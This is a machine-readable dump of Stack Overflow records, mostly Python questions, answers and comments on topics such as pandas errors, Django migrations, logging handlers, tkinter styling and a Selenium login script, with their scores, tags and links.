tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86170914
has answer: http://stackoverflow.com/a/49582110
has comment: http://stackoverflow.com/comment/86170968
possible better answer: http://stackoverflow.com/a/49581595
has body: Here's the Python code: def is_palindrome(s): return s == s[::-1] def longestp(s): if is_palindrome(s): return s maxp = s[0] for i in range(len(s)-1): half_length = len(maxp) // 2 start = i - half_length end = i + half_length while start &gt;= 0 and end &lt;= len(s)-1: if is_palindrome(s[start:end+2]): if len(s[start:end+2]) &gt; len(maxp): maxp = s[start:end+2] end += 1 elif is_palindrome(s[start:end+1]): if len(s[start:end+1]) &gt; len(maxp): maxp = s[start:end+1] start -= 1 end += 1 else: break return maxp I initially thought it was O(n^3) because of two nested loops and string slicing, but it turned out to be nearly linear in my tests. Is there any kind of input for which this algorithm is going to be slow?
has answer: http://stackoverflow.com/a/49581595
has title: What's the time complexity of this algorithm finding the longest palindromic substring?
tagged with: python
has comment: http://stackoverflow.com/comment/86171020
tagged with: substring
score: 2
type: AnsweredQuestion

http://stackoverflow.com/q/49501501
has title: Is there a function in xlsxwriter that lets you sort a column?
tagged with: xlsxwriter
has body: I was wondering if there was a function in xlsxwriter that lets you sort the contents in the column from greatest to least or least to greatest? thanks!
tagged with: python
has answer: http://stackoverflow.com/a/49507909
downvote count: 0
has comment: http://stackoverflow.com/comment/86007529
type: UnansweredQuestion
answer count: 1
favorite count: 0
type: Question
score: 3
upvote count: 3

http://stackoverflow.com/comment/86169370
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49580329
has text: It wasn't a bad dupe. The OP already has a solution anyway, and the dupe explained why adding `__len__` to `foo` doesn't work. The reason why I personally don't like it as a dupe target is because adding a `__len__` method to `foo` is just one possible "solution". There might be other ways to do it.

http://stackoverflow.com/a/49533488
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86078104
accepted answer of: http://stackoverflow.com/q/49533093
score: 2
has body: The problem isn't that it's returning a string value; it's returning a list. When you try to multiply a list, it'll just duplicate itself that many times, which is what you're seeing here. How you resolve it depends on how many elements you expect to get back from the find() operation as well as what you'd like to do with them all. If you're expecting 1 element as a result of the find() operation, you should turn that into a find_one(), which will return a float, making your multiplication operation work as expected with the following code: item = collection.find_one({}) # Returns a single doc. Note the lack of square brackets currency = item['AED'] # Get the desired key of the document res = currency * 2 If you're expecting more than 1 element, you can multiple each returned value by 2 by running a map on it with res = map(lambda x: x*2, currency)
type: AcceptedAnswer
upvote count: 2
answers question: http://stackoverflow.com/q/49533093
has comment: http://stackoverflow.com/comment/86078536

http://stackoverflow.com/q/49581835
favorite count: 0
has title: Comparing elements in a nested list by a condition
type: AnsweredQuestion
score: 0
tagged with: list
has answer: http://stackoverflow.com/a/49581950
accepted answer: http://stackoverflow.com/a/49582143
has body: I have a nested list which contains two elements in each nested list, the second element being the one that is condition. lst = [[2, 1], [5, 1], [10, 1], [9, 1], [10, 2], [18, 2]] If a first index in a sub list is less than the first index in the subsequent list for all 1's in the list (second sub-list element), the counter value should increment by one. Similarly, for all 2's in the list. For instance, the counter is set to 1. For all 1's in the list: 2 &lt; 5, 5 &lt; 10 - the counter stays at 1. However, in the next comparison 10 &lt; 9 is false, so the counter increments by 1. The program should then print 2. Now for all 2's in the list, 10 &lt; 18, so the counter variable just prints 1. Therefore program prints 2 1 as its output. I'm a bit stuck as to how to implement this. So I started thinking about it step by step. It would make sense to have a for loop that compares each first index. So what I did was append each first sub list element to a new list. count = 1 newlst = [] for item in lst: newlst.append(item[0]) The list looks like this: [2, 5, 10, 9, 10, 18] But, if even if I compare all these values, i.e checking if the index &lt; index + 1. It wouldn't output 2 1. More than likely, it would just output 1. And how can it be compared on this basis of the second sub list element, for all the 1's and then 2's? Is there another way to do this so that the program can output 2 1? NB: The input of the list is not necessarily this list, it could be any nested list with 2 elements in each sub list, i.e. [[4, 1], [8, 1], [1, 2], [6, 2], [15, 3], [9, 3]] - output of this would be 1 1 2.
tagged with: python
has comment: http://stackoverflow.com/comment/86172384
has comment: http://stackoverflow.com/comment/86172346
type: Question
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/49581950
answer count: 2
has comment: http://stackoverflow.com/comment/86172230
has comment: http://stackoverflow.com/comment/86171934
has answer: http://stackoverflow.com/a/49582143
upvote count: 1
downvote count: 1

http://stackoverflow.com/a/49463531
answers question: http://stackoverflow.com/q/49463439
has comment: http://stackoverflow.com/comment/85931387
has comment: http://stackoverflow.com/comment/85932030
type: Answer
has comment: http://stackoverflow.com/comment/85935774
has comment: http://stackoverflow.com/comment/85932352
has comment: http://stackoverflow.com/comment/85931864
has comment: http://stackoverflow.com/comment/85931644
score: 1
downvote count: 0
has body: What you want to do is this: dic = {"key1":340, "key2":110, "key3":337, "key4":319, "key5":42} initial_val = 0 while True: value = str(input("insert key value")) if value == "end": # Break before you make the product ! break amount = float(input("insert amount")) product = amount * dic.get(value) # Make the product if it's not the end initial_val += product # Make the sum print(initial_val) Because in your case, you waited until the end of the loop to test if value == "end". But if value was equal to "end", you would not need to make the product because there is no product to make!
upvote count: 1
has comment: http://stackoverflow.com/comment/85930752
has comment: http://stackoverflow.com/comment/85931713

http://stackoverflow.com/comment/107670496
score: 4
type: AnswerComment
comment on: http://stackoverflow.com/a/49507642
has text: Very good solution, much better than manually casting the values before insert. Btw: instead of `lambda val: int(val)` you can just use `int`.
type: Comment

http://stackoverflow.com/comment/112680235
has text: where is that function in odoo 12/13 version now?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49526630

http://stackoverflow.com/comment/86053696
score: 1
has text: Do you have to apply `fillna()` as part of `rolling()`? Could you instead fill NaNs after rolling is complete? e.g. `df.loc[df.col1.isnull(),'col1'] = fill_value`
comment on: http://stackoverflow.com/q/49522548
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/137246102
type: AnswerComment
comment on: http://stackoverflow.com/a/53821308
type: Comment
has text: My problem is that I use a public cloud to run my app
score: 0

http://stackoverflow.com/comment/86031640
comment on: http://stackoverflow.com/q/49513520
type: QuestionComment
score: 0
has text: Try 2D convolution?
type: Comment

http://stackoverflow.com/a/49562361
has comment: http://stackoverflow.com/comment/86133975
has comment: http://stackoverflow.com/comment/86134670
has body: If you want one logger for the screen and one for the log file, try this: import logging log = logging.getLogger('logger') log.setLevel(logging.DEBUG) formatter = logging.Formatter('%(message)s') fh = logging.FileHandler('test.log', mode='w', encoding='utf-8') fh.setLevel(logging.DEBUG) fh.setFormatter(formatter) log.addHandler(fh) ch = logging.StreamHandler() ch.setLevel(logging.INFO) ch.setFormatter(formatter) log.addHandler(ch) This creates two log handlers. When you call log.debug/info/warning etc, it will log to each of your handlers. If the level they are set at is the same or higher, it will log the message, otherwise it won't. In this example calling log.debug("test message") will save the str "test message to test.log, but you will not see the output on the screen because the StreamHandler()'s level is above the debug debug. When you call log.info("test message"), it will save the str "test message to test.log and output it to the console because StreamHandler()'s level is info log.setLevel(logging.DEBUG) ensures that everything will be logged. If you exclude this line, the default of WARNING will be enforced, and even if you set the level lower in a separate handler, you won't be able to log anything >= that level The levels for logging are as follows: DEBUG INFO WARNING ERROR CRITICAL
answers question: http://stackoverflow.com/q/49562241
has comment: http://stackoverflow.com/comment/86134706
has comment: http://stackoverflow.com/comment/120520279
type: Answer
accepted answer of: http://stackoverflow.com/q/49562241
score: 12
upvote count: 12
downvote count: 0
has comment: http://stackoverflow.com/comment/131305579
type: AcceptedAnswer

http://stackoverflow.com/a/49537328
answers question: http://stackoverflow.com/q/49537107
type: Answer
has body: You can use the python unpacking feature: The * operator can be used to send a list of params as positional arguments: &gt;&gt;&gt; fields = ['field1', 'fields2'] &gt;&gt;&gt; MyModel.objects.values(*fields) &lt;MyModelQueryset [{'field1': 'foo1', 'field2': 'bar2'}, {'field1': 'foo1', 'field2': 'bar2'}, {'field1': 'foo1', 'field2': 'bar2'}]&gt;
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/86143807
has text: What I mean in the conclusion is that `id` should always be unique for a given table, thus your variable `friends` should always contain one (and only one) item. If you want all the items, you may write `friends = Friend.objects.all()` and then you'll have a list of all your `friend` instances in the `Friend` table. But that's a different topic ;-)
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49567647

http://stackoverflow.com/comment/85883469
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49440708
has text: I need to manually type the password and then i get this `nehal@nehal-300E4Z-300E5Z-300E7Z:~$ exit logout Connection to 192.168.0.2 closed. sh: 1: cd darknet: not found sh: 1: ./darknet detector demo cfg/coco.data cfg/yolo.cfg final.weights: not found`

http://stackoverflow.com/q/49554501
tagged with: azure
tagged with: pyspark
tagged with: python
has title: HDinsight python packages for pyspark 3
score: 0
answer count: 2
tagged with: apache-spark
has answer: http://stackoverflow.com/a/49557359
type: UnansweredQuestion
tagged with: azure-hdinsight
upvote count: 1
has body: I followed a tutorial provided by Microsoft to install python packages using the script actions feature on the azure portal https://learn.microsoft.com/en-us/azure/hdinsight/spark/apache-spark-python-package-installation This seems to only install the packages so that they are accessible through the pyspark kernel rather than both the pyspark and pyspark 3 kernel. I was wonder if anyone knows of a way to get it to be seen by the pyspark 3 kernel?
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/53636664

http://stackoverflow.com/comment/86204145
comment on: http://stackoverflow.com/q/49598465
has text: Add `fmt = ' '*5 + fmt`?
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85955871
has text: Post the complete traceback error
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49476554

http://stackoverflow.com/q/49557809
has answer: http://stackoverflow.com/a/50081838
answer count: 2
downvote count: 0
upvote count: 1
tagged with: python
possible better answer: http://stackoverflow.com/a/50097776
tagged with: numerical-integration
has comment: http://stackoverflow.com/comment/86155342
type: AnsweredQuestion
has title: Error in calculating integral for 2D interpolation. Comparing numpy arrays
has comment: http://stackoverflow.com/comment/86123858
has comment: http://stackoverflow.com/comment/86155698
score: 1
tagged with: scipy
accepted answer: http://stackoverflow.com/a/50081838
favorite count: 0
linked to: http://stackoverflow.com/q/49683653
type: Question
tagged with: interpolation
tagged with: numpy
has answer: http://stackoverflow.com/a/50097776
has body: My optimization task deals with calculation of the following integral and finding the best values of xl and xu: Iterations take too long, so I decided to speed them up by calculating integral for all possible values xl and xu and then interpolate calculated values during optimization. I wrote the following function: def k_integrand(x, xl, xu): return((x**2)*mpmath.exp(x))/((xu - xl)*(mpmath.exp(x)-1)**2) @np.vectorize def K(xl, xu): y, err = integrate.quad(k_integrand, xl, xu, args = (xl, xu)) return y and two identical arrays grid_xl and grid_xu with dinamic increment of values. When I run the code I get this: K(grid_xl, grid_xu) Traceback (most recent call last): File "&lt;ipython-input-2-5b9df02f12b7&gt;", line 1, in &lt;module&gt; K(grid_xl, grid_xu) File "C:/Users/909404/OneDrive/Работа/ZnS-FeS/Теплоемкость/Python/CD357/4 - Optimization CD357 interpolation.py", line 75, in K y, err = integrate.quad(k_integrand, xl, xu, args = (xl, xu)) File "C:\Users\909404\Anaconda3\lib\site-packages\scipy\integrate\quadpack.py", line 323, in quad points) File "C:\Users\909404\Anaconda3\lib\site-packages\scipy\integrate\quadpack.py", line 372, in _quad if (b != Inf and a != -Inf): ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() I guess it comes from the fact that xl should be always less than xu. Is there any way to compare the values of xl and xu and return NaN in case if xl&gt;=xu? In the end I want to have something like this: And to have the ability to use interpolation. Maybe I have chosen the wrong way? I'd appreciate any help.

firefox
type: Tag
tags question: http://stackoverflow.com/q/49564016
tags question: http://stackoverflow.com/q/49499106
tags question: http://stackoverflow.com/q/49539928
tags question: http://stackoverflow.com/q/49443114
tag name: firefox
tags question: http://stackoverflow.com/q/49563585
tags question: http://stackoverflow.com/q/49565440
tags question: http://stackoverflow.com/q/49451392

http://stackoverflow.com/q/49488839
tagged with: python
accepted answer: http://stackoverflow.com/a/49489014
has answer: http://stackoverflow.com/a/49489082
has answer: http://stackoverflow.com/a/49489138
tagged with: python-2.7
has answer: http://stackoverflow.com/a/49489014
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/49488986
has body: I have a list of tuples as follows, with the output as follows: (data, Cycle 1) (data, Cycle 1) (data, Cycle 2) (data, Cycle 2) (data, Cycle 3) (data, Cycle 3) etc... I want a rolling count of each cycle... example output: (data, Cycle 1, 1) (data, Cycle 1, 2) (data, Cycle 2, 1) (data, Cycle 2, 2) (data, Cycle 3, 1) (data, Cycle 3, 2) I can do the first cycle: count = 0 for i, (data, cycle) in enumerate(my_tuple): if cycle == 'Cycle 1': cumsum = count + 1 my_tuple[i] += (cumsum,) I'm stuck on how to expand this condition to all cycles. Any help appreciated.
has comment: http://stackoverflow.com/comment/85980525
answer count: 5
has answer: http://stackoverflow.com/a/49488986
tagged with: python-3.x
type: Question
has answer: http://stackoverflow.com/a/49489542
has title: Rolling count within tuple

http://stackoverflow.com/comment/86021896
type: QuestionComment
has text: Why do you want that? This doesn't make any sense. The datetime object stores the seconds, it just doesn't show them in its representation when the seconds are zero. See `datetime.datetime(2017, 1, 13, 23, 50).second == 0`
score: 3
comment on: http://stackoverflow.com/q/49508862
type: Comment

http://stackoverflow.com/q/49461911
tagged with: django
tagged with: python
score: -1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49462025
downvote count: 2
tagged with: migration
answer count: 1
upvote count: 1
favorite count: 0
has title: I changed the primary_key of a model and now it's `ForeignKey` model doesn't work
type: Question
has body: I have a Post model: class Post(models.Model): id = models.CharField(max_length=18, primary_key=True, default=random_string) has_upvoted = models.ManyToManyField(User, related_name="has_upvoted") has_downvoted = models.ManyToManyField(User, related_name="has_downvoted") and a PostScore model: class PostScore(models.Model): user = models.ForeignKey(User, blank=True, null=True) post = models.ForeignKey(Post, related_name='score') Because I recently changed the id on my Post model from the default id = models.AutoField(primary_key=True) to the current CharField, it's causing this error when I run migrate: django.db.utils.ProgrammingError: foreign key constraint "post_post_has_downvoted_post_id_3b2ec618_fk_post_post_id" cannot be implemented DETAIL: Key columns "post_id" and "id" are of incompatible types: integer and character varying. Any idea how I can fix this? Edit: I'm now getting this IntegrityError - I don't why as I have deleted all migration history related to the changes of id so it should just go back to normal. Here's the traceback: Traceback (most recent call last): File "manage.py", line 22, in &lt;module&gt; execute_from_command_line(sys.argv) File "/Users/zorgan/Desktop/app/lib/python3.5/site-packages/django/core/management/__init__.py", line 364, in execute_from_command_line utility.execute() File "/Users/zorgan/Desktop/app/lib/python3.5/site-packages/django/core/management/__init__.py", line 356, in execute self.fetch_command(subcommand).run_from_argv(self.argv) File "/Users/zorgan/Desktop/app/lib/python3.5/site-packages/django/core/management/base.py", line 283, in run_from_argv self.execute(*args, **cmd_options) File "/Users/zorgan/Desktop/app/lib/python3.5/site-packages/django/core/management/base.py", line 330, in execute output = self.handle(*args, **options) File "/Users/zorgan/Desktop/app/lib/python3.5/site-packages/django/core/management/commands/migrate.py", line 204, in handle fake_initial=fake_initial, File "/Users/zorgan/Desktop/app/lib/py…
has answer: http://stackoverflow.com/a/49462025

http://stackoverflow.com/comment/86056456
has text: I have edited. I sincerely apologize for being the first time I posted a question. T_T
type: Comment
comment on: http://stackoverflow.com/q/49525218
type: QuestionComment
score: 0

http://stackoverflow.com/a/49599610
upvote count: 1
type: Answer
has body: That isn't valid XML. If you squint hard, it looks kinda like poorly written HTML. Enter, BeautifulSoup, a package intended to clean up even the ugliest web pages out there. Because I don't want to worry about encodings, I let BS run on the raw file instead of reading it into a string: &gt;&gt;&gt; from bs4 import BeautifulSoup &gt;&gt;&gt; with open("crud.xml", "rb") as fp: ... soup = BeautifulSoup(fp) ... &gt;&gt;&gt; text_nodes = soup.findAll("text") &gt;&gt;&gt; len(text_nodes) 6 &gt;&gt;&gt; text_nodes[0] &lt;text&gt;2 Wilcox J delivered judgment on the complex issues of...
score: 1
answers question: http://stackoverflow.com/q/49599035
downvote count: 0

http://stackoverflow.com/q/49535702
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/12760797
has title: How do you plot block shades of gray?
tagged with: matplotlib
has answer: http://stackoverflow.com/a/49535844
has body: I basically want to plot 50 shades of gray... unrelated to the book! ;) As far as I understand RGB values, if all three are the same value (or close to it), we get a shade of gray. E.g. (1, 1, 1) is nearly black and (254, 254, 254) is nearly white. Conclusion: I don't need a 3d array to plot shades of gray. I got it working using a 3d array, as described, but I would like to plot them using a simle 2d array if possible. Here we get the correct results, using a 3d array: fig, axs = plt.subplots(10, 5, figsize=(20, 10)) fig.tight_layout(pad=0.5) for i, ax in enumerate(axs.flat): shade = i * 255/49 im = np.ones((4, 20, 3), dtype=np.uint8) * int(shade) # using 3d array ax.imshow(im) ax.tick_params(axis='both', bottom=False, left=False, labelbottom=False, labelleft=False) ax.set_title('shade: {}'.format(shade)) Here when only using a 2d array of identical values (combined with the cmap='gray' argument) we get all black output: fig, axs = plt.subplots(10, 5, figsize=(20, 10)) fig.tight_layout(pad=0.5) for i, ax in enumerate(axs.flat): shade = i * 255/49 im = np.ones((4, 20), dtype=np.uint8) * int(shade) # using 2d array ax.imshow(im, cmap='gray') ax.tick_params(axis='both', bottom=False, left=False, labelbottom=False, labelleft=False) ax.set_title('shade: {}'.format(shade)) How can I recreate the 3d array version using only 2d arrays?
accepted answer: http://stackoverflow.com/a/49535844
tagged with: python
type: AnsweredQuestion
upvote count: 1
score: 1
answer count: 1
duplicate of: http://stackoverflow.com/q/12760797
downvote count: 0

http://stackoverflow.com/a/49499494
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86081105
has body: The dotbox highlight is part of the style so you can remove it by changing the layout of the treeview's style. The default layout is [('Treeitem.padding', {'children': [('Treeitem.indicator', {'side': 'left', 'sticky': ''}), ('Treeitem.image', {'side': 'left', 'sticky': ''}), ('Treeitem.focus', {'children': [('Treeitem.text', {'side': 'left', 'sticky': ''})], 'side': 'left', 'sticky': ''})], 'sticky': 'nswe'})] and the dotbox is 'Treeitem.focus', so if you create a custom layout without it, then it will no longer be visible: style = ttk.Style(master) style.layout('nodotbox.Treeview.Item', [('Treeitem.padding', {'children': [('Treeitem.indicator', {'side': 'left', 'sticky': ''}), ('Treeitem.image', {'side': 'left', 'sticky': ''}), ('Treeitem.text', {'side': 'left', 'sticky': ''})], 'sticky': 'nswe'})]) tree.configure(style='nodotbox.Treeview') EDIT: Full example: import tkinter as tk from tkinter import ttk master = tk.Tk() style = ttk.Style(master) style.layout('nodotbox.Treeview.Item', [('Treeitem.padding', {'children': [('Treeitem.indicator', {'side': 'left', 'sticky': ''}), ('Treeitem.image', {'side': 'left', 'sticky': ''}), ('Treeitem.text', {'side': 'left', 'sticky': ''})], 'sticky': 'nswe'})]) tk.Label(master, text='Default layout').pack() tree1 = ttk.Treeview(master, columns=('a', 'b')) tree1.insert('', 'end', text='item 1', values=('a', 'b')) tree1.insert('', 'end', text='item 2', values=('a', 'b')) tree1.pack() tk.Label(master, text='No dotbox').pack() tree2 = ttk.Treeview(master, style='nodotbox.Treeview', columns=('a', 'b')) tree2.insert('', 'end', text='item 1', values=('a', 'b')) tree2.insert('', 'end', text='item 2', values=('a', 'b')) tree2.pack() master.mainloop()
has comment: http://stackoverflow.com/comment/86108047
has comment: http://stackoverflow.com/comment/86044299
has comment: http://stackoverflow.com/comment/86088200
type: Answer
has comment: http://stackoverflow.com/comment/86035022
answers question: http://stackoverflow.com/q/49498820
has comment: http://stackoverflow.com/comment/86047111
score: 2
has comment: http://stackoverflow.com/comment/86004499
upvote count: 2
accepted answer of: http://stackoverflow.com/q/49498820

http://stackoverflow.com/comment/86072897
comment on: http://stackoverflow.com/a/49533070
type: AnswerComment
has text: @jdehesa Ah my bad! Updated with the correct version from your post. Timings seem much closer now.
score: 0
type: Comment

http://stackoverflow.com/comment/85914753
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49455891
score: 0
has text: silly me.Thank you.

http://stackoverflow.com/q/49596020
type: UnansweredQuestion
has title: How do we run Angular 2 application on Python Tornado?
has comment: http://stackoverflow.com/comment/86214430
has comment: http://stackoverflow.com/comment/86250205
answer count: 1
has comment: http://stackoverflow.com/comment/86203094
has comment: http://stackoverflow.com/comment/86199852
linked to: http://stackoverflow.com/q/45803855
type: Question
has body: I want to run the Angular2 frontend on Python's Tornado backend. I tried providing the index.html in Tornado's mainhandler, but it seems to me that the components are not being loaded when I run Tornado server. I don't want to run Angular frontend on ng server. Is there anyway to run Angular2 on Tornado or is it not feasible?
has answer: http://stackoverflow.com/a/56567235
has comment: http://stackoverflow.com/comment/86204153
tagged with: python
tagged with: tornado
score: 0
has comment: http://stackoverflow.com/comment/86226976
tagged with: angular
has comment: http://stackoverflow.com/comment/86211366

http://stackoverflow.com/q/49442277
type: AnsweredQuestion
answer count: 2
possible better answer: http://stackoverflow.com/a/49448190
score: 0
has answer: http://stackoverflow.com/a/49448190
accepted answer: http://stackoverflow.com/a/49442445
tagged with: web-scraping
linked to: http://stackoverflow.com/q/11360858
has answer: http://stackoverflow.com/a/49442445
tagged with: beautifulsoup
type: Question
has title: BeautifulSoup a.['href'] exception handling
has body: I am using bs4 and scraping links, in some cases in the loop there is no tag. So in that case I want to input the text attribute of the element. my sample code, base_url = "http://example.com" abc = base_url + str(tds.a['href']) if tds.a['href'] else tds.text Exception is thrown TypeError: 'NoneType' object is not subscriptable This is how my td element looks like: [VIEW COVENANT] " How to solve this?? Ps. using Python 3 and Bs4
tagged with: python
has comment: http://stackoverflow.com/comment/85886588

http://stackoverflow.com/comment/86201621
type: QuestionComment
score: 0
has text: agree with @BishakhGhosh and for any other help include definition of all function you are using in your code; like mention what is the function of `func` in your code?
type: Comment
comment on: http://stackoverflow.com/q/49597014

http://stackoverflow.com/comment/86026369
type: Comment
type: QuestionComment
has text: Upon looking at my notes I should either use a random fixed character to pad (like i've done above), or use the length (of the string i'm guessing) as the character.
score: 0
comment on: http://stackoverflow.com/q/49510574

http://stackoverflow.com/a/49522683
answers question: http://stackoverflow.com/q/49522220
has comment: http://stackoverflow.com/comment/86086381
score: 0
upvote count: 1
has body: YOu can insert picture in spreadsheet using xlsxwriter. Check out this, it might help you to solve your issue.
downvote count: 1
has comment: http://stackoverflow.com/comment/86052390
type: Answer

http://stackoverflow.com/comment/86188167
comment on: http://stackoverflow.com/a/49589818
type: AnswerComment
score: 0
has text: Does this help answer your question?
type: Comment

xtemplate
tag name: xtemplate
tags question: http://stackoverflow.com/q/49460713
type: Tag

http://stackoverflow.com/q/49508824
has body: I tried below code to run my subprocess after 1 minute process = Popen(['python3','helloworld.py','|','at -m now +1 minute'], stdout=PIPE, stderr=PIPE) I run above line from terminal..it is executing immediately but not after 1 minute. How to set a particular time to RUN.. how to run subprocess at a given time python. Please help me.
tagged with: popen
tagged with: python
has answer: http://stackoverflow.com/a/49509269
has comment: http://stackoverflow.com/comment/86033557
has comment: http://stackoverflow.com/comment/86022141
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: subprocess
upvote count: 2
has comment: http://stackoverflow.com/comment/86033137
type: UnansweredQuestion
answer count: 1
downvote count: 0
has title: how to run subprocess at a given time python
linked to: http://stackoverflow.com/q/15088037
score: 2

http://stackoverflow.com/comment/86080323
type: Comment
has text: Just as you would run any other thread. There are [some examples](https://www.tutorialspoint.com/python/python_multithreading.htm).
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49536612

http://stackoverflow.com/q/49566862
tagged with: python
has title: 'DataFrame' object has no attribute 'to_frame'
has comment: http://stackoverflow.com/comment/86142213
type: AnsweredQuestion
has body: I am new to python. Just following the tutorial: https://www.hackerearth.com/practice/machine-learning/machine-learning-projects/python-project/tutorial/ This is the dataframe miss: miss = train.isnull().sum()/len(train) miss = miss[miss&gt;0] miss.sort_values(inplace = True) miss Electrical 0.000685 MasVnrType 0.005479 MasVnrArea 0.005479 BsmtQual 0.025342 BsmtCond 0.025342 BsmtFinType1 0.025342 BsmtExposure 0.026027 BsmtFinType2 0.026027 GarageCond 0.055479 GarageQual 0.055479 GarageFinish 0.055479 GarageType 0.055479 GarageYrBlt 0.055479 LotFrontage 0.177397 FireplaceQu 0.472603 Fence 0.807534 Alley 0.937671 MiscFeature 0.963014 PoolQC 0.995205 dtype: float64 Now I just want to visualize those missing values" #visualising missing values miss = miss.to_frame() miss.columns = ['count'] miss.index.names = ['Name'] miss['Name'] = miss.index And this is the error I got: AttributeError Traceback (most recent call last) &lt;ipython-input-42-cd3b25e8862a&gt; in &lt;module&gt;() 1 #visualising missing values ----&gt; 2 miss = miss.to_frame() C:\Users\Username\AppData\Local\Continuum\Anaconda3\lib\site-packages\pandas\core\generic.py in __getattr__(self, name) 2742 if name in self._info_axis: 2743 return self[name] -&gt; 2744 return object.__getattribute__(self, name) 2745 2746 def __setattr__(self, name, value): AttributeError: 'DataFrame' object has no attribute 'to_frame' What am I missing here?
tagged with: pandas
has comment: http://stackoverflow.com/comment/86141978
score: 1
has comment: http://stackoverflow.com/comment/86141950
has answer: http://stackoverflow.com/a/67615475
downvote count: 1
accepted answer: http://stackoverflow.com/a/49566995
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49566995
answer count: 2
upvote count: 2
possible better answer: http://stackoverflow.com/a/67615475

http://stackoverflow.com/q/49455038
tagged with: pykalman
has title: Using pykalman on live data
type: Question
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/86038248
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/93366093
has comment: http://stackoverflow.com/comment/85913100
linked to: http://stackoverflow.com/q/43377626
tagged with: python
linked to: http://stackoverflow.com/q/47599886
tagged with: kalman-filter
has body: All the examples I've seen on pykalman documentation works on a given dataset, I was wandering how it could be used by feeding a single observation at the time while taking into account the time delta. From the documentation: from pykalman import KalmanFilter import numpy as np kf = KalmanFilter(transition_matrices = [[1, 1], [0, 1]], observation_matrices = [[0.1, 0.5], [-0.3, 0.0]]) measurements = np.asarray([[1,0], [0,0], [0,1]]) # 3 observations kf = kf.em(measurements, n_iter=5) (filtered_state_means, filtered_state_covariances) = kf.filter(measurements) (smoothed_state_means, smoothed_state_covariances) = kf.smooth(measurements)

http://stackoverflow.com/comment/85984753
score: 0
type: Comment
has text: Have a look at lexicon.items()
type: QuestionComment
comment on: http://stackoverflow.com/q/49490803

http://stackoverflow.com/q/49492849
score: 1
has body: When I run this, I get SEC_ERROR_UNKNOWN_ISSUER in firefox. What should I do with it? I'm a code newbie so your advice is much appreciated. I use OS Mac High Sierra 10.13.3 Selenium Version 3.11.0 Browser Firefox 59.0.1﻿ from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.common.exceptions import TimeoutException import csv import os import random import time class BingEnter(object): def __init__(self, email, password): self.email = email self.password = password self.explicit_wait = 3 self.driver = webdriver.Firefox() self.login_url = "https://login.live.com/" def login(self): self.driver.get(self.login_url) email_input = self.driver.find_element_by_name("loginfmt") email_input.send_keys(self.email) self.driver.find_element_by_id("idSIButton9").click() wait = WebDriverWait(self.driver, self.explicit_wait) wait.until(EC.presence_of_all_elements_located((By.ID, "idSIButton9"))) password_input = self.driver.find_element_by_name("passwd") password_input.send_keys(self.password) wait = WebDriverWait(self.driver, self.explicit_wait) wait.until(EC.presence_of_all_elements_located((By.ID, "idTd_PWD_KMSI_Cb"))) self.driver.find_element_by_id("idSIButton9").click() with open('bing_account.csv', 'r') as f: reader = csv.reader(f) for row in reader: user_id = row[0] password = row[1] bing_enter = BingEnter(user_id, password) bing_enter.login()
tagged with: python
has comment: http://stackoverflow.com/comment/86037648
has comment: http://stackoverflow.com/comment/86009194
tagged with: selenium-webdriver
has comment: http://stackoverflow.com/comment/86017743
downvote count: 0
answer count: 0
upvote count: 1
type: UnansweredQuestion
favorite count: 0
has comment: http://stackoverflow.com/comment/85992207
type: Question
has comment: http://stackoverflow.com/comment/86053320
has comment: http://stackoverflow.com/comment/86038123
has title: SEC_ERROR_UNKNOWN_ISSUER in Firefox

http://stackoverflow.com/comment/86048124
type: QuestionComment
has text: The loser is determined based on the following: - The loser of the final game - The match that was played by the loser, previously. - The loser from that match - Repeat all the way to the very first match Dolphin doesn't win the spoon in the first example because his 'set of opponent' went to win the entire tournament. The spoon determining match would have been F. Flamingo d. Bye - but because it's a BYE no one won the spoon.
comment on: http://stackoverflow.com/q/49482505
score: 0
type: Comment

http://stackoverflow.com/comment/85916465
score: 3
has text: Possible duplicate of ["inconsistent use of tabs and spaces in indentation"](https://stackoverflow.com/questions/5685406/inconsistent-use-of-tabs-and-spaces-in-indentation)
type: QuestionComment
comment on: http://stackoverflow.com/q/49456750
type: Comment

http://stackoverflow.com/comment/86392013
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49688791
score: 0
has text: Yep. My mistake :) That's because `".hasmore"` selector is unreliable (note that there are more than 1 node with `"hasmore"` class name). Try updated answer

http://stackoverflow.com/a/49593146
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/86199389
